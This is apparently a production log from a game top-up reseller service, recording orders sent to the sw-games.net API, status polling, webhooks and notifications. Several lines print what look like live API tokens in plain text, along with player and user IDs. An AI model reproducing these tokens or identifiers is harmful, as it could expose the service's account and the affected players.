[2026-03-24 00:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:56:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vNSn-1774302868","operation_id":163427} 
[2026-03-24 00:56:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vNSn-1774302868","operation_id":163427,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 00:56:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vNSn-1774302868","operation_id":163427,"processed":0,"errors":0} 
[2026-03-24 00:56:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"2Cp5CUDHF031RvIAzQBp0lHprGJ9csgP","execution_time":"2026-03-24 00:56:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vNSn-1774302868","operation_id":163427} 
[2026-03-24 00:56:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vNSn-1774302868","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:56:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-vNSn-1774302868","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:56:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:56:07] production.INFO: SendAcceptReject: Notification queued {"user_id":194,"notification_type":"order_approved","reference_id":178494} 
[2026-03-24 00:56:07] production.INFO: Order updated successfully. Order ID: 178494, Status: completed  
[2026-03-24 00:56:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vNSn-1774302868","status":"completed","codes_count":0} 
[2026-03-24 00:56:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 00:57:56] production.INFO: Constructing job for order: 178495  
[2026-03-24 00:57:57] production.INFO: Handling job for order: 178495  
[2026-03-24 00:57:57] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 00:57:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:57:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=750b818d-1463-48b9-8602-7f8409f31f7b&Player_ID=0959791668  
[2026-03-24 00:57:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=750b818d-1463-48b9-8602-7f8409f31f7b&Player_ID=0959791668","has_body":false} 
[2026-03-24 00:57:57] production.INFO: Operation sent successfully {"operation_id":163428,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1KvCIEzw-1774303077","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 00:57:57"}},"processed_data":{"order_number":"ORD-1KvCIEzw-1774303077","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 00:58:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00"} 
[2026-03-24 00:58:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","total_operations":5,"sites_count":2} 
[2026-03-24 00:58:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:58:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:58:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:58:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:58:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:58:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:58:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:58:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:58:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:58:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-1KvCIEzw-1774303077"]} 
[2026-03-24 00:58:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:58:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 00:58:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428} 
[2026-03-24 00:58:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 00:58:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428,"processed":0,"errors":0} 
[2026-03-24 00:58:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"aBc5u08IEkEokg1GZXZh2F7YL1zdonbR","execution_time":"2026-03-24 00:58:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428} 
[2026-03-24 00:58:33] production.INFO: Constructing job for order: 178496  
[2026-03-24 00:58:34] production.INFO: Handling job for order: 178496  
[2026-03-24 00:58:34] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:58:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:58:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/825/params?qty=4000&uuid=64ee345f-6d40-47fd-ab64-9b9020089425&Player_ID=4610745  
[2026-03-24 00:58:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/825/params?qty=4000&uuid=64ee345f-6d40-47fd-ab64-9b9020089425&Player_ID=4610745","has_body":false} 
[2026-03-24 00:58:35] production.INFO: Operation sent successfully {"operation_id":163429,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iRVW5-1774303114","amount":2.95071599999999989449861459434032440185546875,"status":"processing","product":"Sahra Amount","game":"Sahra Caht","notes":[],"created_at":"2026-03-24 00:58:35"}},"processed_data":{"order_number":"ORD-iRVW5-1774303114","amount":2.95071599999999989449861459434032440185546875,"status":"processing","product":"Sahra Amount","game":"Sahra Caht"}} 
[2026-03-24 00:58:49] production.INFO: Constructing job for order: 178497  
[2026-03-24 00:58:50] production.INFO: Handling job for order: 178497  
[2026-03-24 00:58:50] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:58:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:58:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=81fc4ba0-d501-4b19-a789-d5fa84e55d5c&Player_ID=1778406129  
[2026-03-24 00:58:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=81fc4ba0-d501-4b19-a789-d5fa84e55d5c&Player_ID=1778406129","has_body":false} 
[2026-03-24 00:58:50] production.INFO: Operation sent successfully {"operation_id":163430,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1IK1D-1774303130","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 00:58:50"}},"processed_data":{"order_number":"ORD-1IK1D-1774303130","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 00:58:57] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-1IK1D-1774303130","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:58:57] production.INFO: Processed webhook data (normalized) {"id":"ORD-1IK1D-1774303130","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:58:57] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:58:57] production.INFO: SendAcceptReject: Notification queued {"user_id":61,"notification_type":"order_approved","reference_id":178497} 
[2026-03-24 00:58:57] production.INFO: Order updated successfully. Order ID: 178497, Status: completed  
[2026-03-24 00:58:57] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-1IK1D-1774303130","status":"completed","codes_count":0} 
[2026-03-24 00:58:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 61  
[2026-03-24 01:00:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03"} 
[2026-03-24 01:00:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","total_operations":6,"sites_count":2} 
[2026-03-24 01:00:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-iRVW5-1774303114"]} 
[2026-03-24 01:00:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:00:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 01:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:00:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:00:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":1,"skipped":4,"updates_prepared":1} 
[2026-03-24 01:00:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 01:00:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"count":1} 
[2026-03-24 01:00:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"count":1} 
[2026-03-24 01:00:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"user_id":802,"notification_type":"order_approved","reference_id":178496} 
[2026-03-24 01:00:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 01:00:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 01:00:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":1,"errors":0} 
[2026-03-24 01:00:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":1,"errors":0} 
[2026-03-24 01:00:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-1KvCIEzw-1774303077"]} 
[2026-03-24 01:00:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:00:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 01:00:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 01:00:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 01:00:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428,"count":1} 
[2026-03-24 01:00:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428,"count":1} 
[2026-03-24 01:00:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428,"user_id":1074,"notification_type":"order_approved","reference_id":178495} 
[2026-03-24 01:00:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 01:00:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 01:00:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428,"processed":1,"errors":0} 
[2026-03-24 01:00:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428,"processed":1,"errors":0} 
[2026-03-24 01:00:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"uQQj3HdyJaK0kK15N7Rq2yJpljFmE0qn","execution_time":"2026-03-24 01:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1KvCIEzw-1774303077","operation_id":163428} 
[2026-03-24 01:00:03] production.INFO: Executing GetProducts task...  
[2026-03-24 01:00:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 01:00:03] production.INFO: Executing GetProducts task...  
[2026-03-24 01:00:05] production.INFO: async() رجع: true  
[2026-03-24 01:00:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 01:00:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 01:00:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 01:00:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 01:00:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 01:00:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 01:00:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 01:00:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 01:00:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 01:00:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 01:00:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 01:00:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 01:00:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 01:00:58] production.INFO: Constructing job for order: 178498  
[2026-03-24 01:01:00] production.INFO: Handling job for order: 178498  
[2026-03-24 01:01:00] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 01:01:00] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:01:00] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/587/params?qty=200&uuid=f6d3b99b-7052-4593-87ce-de06864d2331&Player_ID=18640896  
[2026-03-24 01:01:00] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/587/params?qty=200&uuid=f6d3b99b-7052-4593-87ce-de06864d2331&Player_ID=18640896","has_body":false} 
[2026-03-24 01:01:01] production.INFO: Operation sent successfully {"operation_id":163431,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zmlDzyIC-1774303261","amount":1.5395229599999999958725993565167300403118133544921875,"status":"processing","product":"HoneyJar Amount","game":"HoneyJar","notes":[],"created_at":"2026-03-24 01:01:01"}},"processed_data":{"order_number":"ORD-zmlDzyIC-1774303261","amount":1.5395229599999999958725993565167300403118133544921875,"status":"processing","product":"HoneyJar Amount","game":"HoneyJar"}} 
[2026-03-24 01:01:18] production.INFO: Constructing job for order: 178499  
[2026-03-24 01:01:19] production.INFO: Handling job for order: 178499  
[2026-03-24 01:01:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 01:01:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:01:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=14247c71-4aae-4a55-b576-3bb7a5f27711&Player_ID=51506741938  
[2026-03-24 01:01:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=14247c71-4aae-4a55-b576-3bb7a5f27711&Player_ID=51506741938","has_body":false} 
[2026-03-24 01:01:20] production.INFO: Operation sent successfully {"operation_id":163432,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MSnY-1774303280","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG","notes":[],"created_at":"2026-03-24 01:01:20"}},"processed_data":{"order_number":"ORD-MSnY-1774303280","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG"}} 
[2026-03-24 01:01:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MSnY-1774303280","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 01:01:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-MSnY-1774303280","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 01:01:28] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 01:01:28] production.INFO: SendAcceptReject: Notification queued {"user_id":237,"notification_type":"order_approved","reference_id":178499} 
[2026-03-24 01:01:28] production.INFO: Order updated successfully. Order ID: 178499, Status: completed  
[2026-03-24 01:01:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MSnY-1774303280","status":"completed","codes_count":0} 
[2026-03-24 01:01:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 01:02:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"LeAQKUObT5QXujGA4vk3P399isXpeLKH","execution_time":"2026-03-24 01:02:02"} 
